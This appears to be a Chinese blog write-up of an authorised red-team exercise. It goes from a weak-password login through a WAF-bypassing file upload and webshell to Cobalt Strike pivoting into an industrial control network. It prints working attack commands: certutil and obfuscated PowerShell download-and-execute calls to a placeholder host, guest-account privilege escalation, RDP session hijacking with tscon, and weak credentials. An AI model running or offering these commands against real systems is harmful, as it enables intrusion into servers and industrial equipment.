前段时间参加了一次攻防演练,其中遇到了不少有意思的问题,最后也是进到了内网生产区,大体把过程写一下。

前期信息收集

首先给定的目标是包括公司官网之类的互联网资产,刚开始做信息收集的时候在各种互联 网资产探测引擎上查找目标信息,尝试了各种SQL注入以及反序列化等可以简单getshell的方 式,然而并没有什么用。另外资产探测引擎一般会在每天的0点更新一次前一天发现的资 产,所以0点过后对白天搜索过的目标再检索一次可能会有意想不到的收获。对web资产直接访问会经常访问不到具体的系统,而是一些默认的中间件配置页面,有些目 标可能因为有防护设备的原因,拿爆破目录的工具一扫就被封IP,这很头疼。。。

某平台弱口令

在探测引擎资产测试无果后,决定试一下用Nmap扫全端口,因为正常情况下fofa等工具很 难对某个IP做到百分之百的资产探测而且存在一定的延时性。在扫描某个IP的全端口之 后,找到了一个之前没有发现的系统,而且存在弱口令。

admin 123456

通过脏字符绕waf,文件上传获取webshell

进入系统后,翻了一遍各功能发现虽然是超级管理员权限,但是系统中并没有包含员工的 敏感信息(众所周知,身份证号等的敏感信息泄露可以用来刷分)或者是其他的有用数 据,所以尝试一下对其中的搜索、上传等功能进行利用看能不能getshell。
系统的安全检验禁用了直接上传jsp的方式,且大部分常见的上传绕过方式都是不可用的
根据返回结果判断存在waf,拦截了文件名和内容
尝试了几处的文件上传都无法成功,要么就是可以上传,但并不返回地址也不解析,白给了属于是
最后在一个“通知发放”的功能中找到了一处可用的文件上传漏洞,不过其中也是费尽一 些周折。
经过多次尝试后发现,在POST数据包中给文件名添加超长的脏字符数据可以绕过文件名的 安全检验,另外配合免杀的jsp马直接获取一个administrator权限的webshell(当然这种方式也 比较常见而且有失败的可能,但是每种方法多试几次,成功的概率总会比较大一些)。Burp上传的数据包过长导致无法截全图,但是基本思路是如下这样(图片来自互联网,侵 删),即在filename后的文件名字段添加不停地添加数据,这样WAF可能为因为性能原因作 出让步,超出检查长度的内容,将不会被检查。
成功获取webshell
探测一下受害主机相关信息,发现目标主机出网,但是存在杀软

powershell绕过杀软.上线cs

既然现在我们有了一个webshell,那么接下来的利用思路可以选择证书下载或者powershell等 方式上线cs。

可以尝试使用证书下载尝试下载木马到服务器执行:
certutil.exe -urlcache -split -f http://x.x.x.x/x.exe D:\x.exe
很明显,在安全设备的拦截下,这种基础的证书下载也是白给
尝试执行powershell命令直接上线cs
powershell.exe IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/x'))
先拿powershell试试,利用其实现与远端IP进行通信,利用其传递木马执行实现肉鸡上线。其最主要优点就是无文件落地,痕迹只存在于内存进程之中,隐蔽性较强。不过正常来说 这种通过公网IP地址下载并执行木马脚本,肯定会被杀毒软件WAF等设备拦截,我们可以 通过对PowerShell语句进行改进、变换、拼接等操作,实现免杀。
echo I^E^X ((new-object net.webclient).d^o^w^n^l^o^a^d^s^t^r^i^n^g('http://0.0.0.0)) | p^o^w^e^r^s^h^e^l^l -

读密码,搭建socks代理,进入内网

主机上线CS后对本机进行信息收集,发现目标为server2012服务器,无法读取明文密码,因 此选择激活guest用户
激活guest用户
netuser guest /active:yesnetuser guest [email protected]netlocalgroup administrators guest /add
搭建socks5隧道登录guest用户,使用rdp劫持登录administrator。
query usersc create tide binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#4"#1为目标会 话id和当前会话名net start tide

探测内网资产

成功登录后通过在本机进行信息收集,发现远程连接的凭证信息,其它服务数据库密码等 等信息
继续对内网资产进行探测,发现一些MS17010以及数十台数据库弱口令、还有一些内网web 弱口令等较多资产,这里就不一一列举了
192.168.x.x mssql:sa/sa123
mssql:192.168.x.x:1433:sa sa123
在内网不断收集信息横向移动

突破到内网生产区专网

原本以为作为一个常规内网,刷几台数据库+内网web弱口令+几台SSH后就在此结束,但是 在内网资产收集过程中,通过数据库命令执行发现某台机器存在多网卡191和192段
该网段不通互联网且不通业务内网
通过查看进程,发现进程中存在MODBUS协议软件进程,猜测为工控主机。
因为无法连接191该段,尝试了多种方法,最终通过通过cs正向木马上线,以当前被控机作 为跳板机正向连接此191网段多网卡机器

首先生成监听器beacon-tcp,监听在17775端口
然后CS生成一个stageless木马,选定刚才的新建 监听器
最后运行生成的木马,并在 beacon中执行connect x.x.x.x 17775即可建立子beacon上线CS。
上线cs后,尝试搭建二层socks代理进入生产专网。获取主机密码后,登录rdp,发现本机存在锅炉监控系统(图文无关)
再对这台主机的内网资产进行探测,发现http://191.0.x.x user/123456 该设备为锅炉监控控制 器,处理并转发现场锅炉设备的数据(图文无关)
然后通过某工控机-4 Administrator 空密码(图文无关)
工控机1-Administrator 空密码(图文无关)
还有几台类似机器,就不把图放上了,总的成果来说是这些

总结

1、信息收集真的很重要,哪怕是一个小小的弱口令最后都可能造成严重的后果。
2、不要觉得扫全端口很麻烦,这招简直屡试不爽,我经常在某个目标C段中每10个IP为一 组去挨个扫全端口,总能有一些新收获。
3、免杀和绕过需要不断地积累学习,红队在进步,蓝队(设备)也在进步。
继续阅读
阅读原文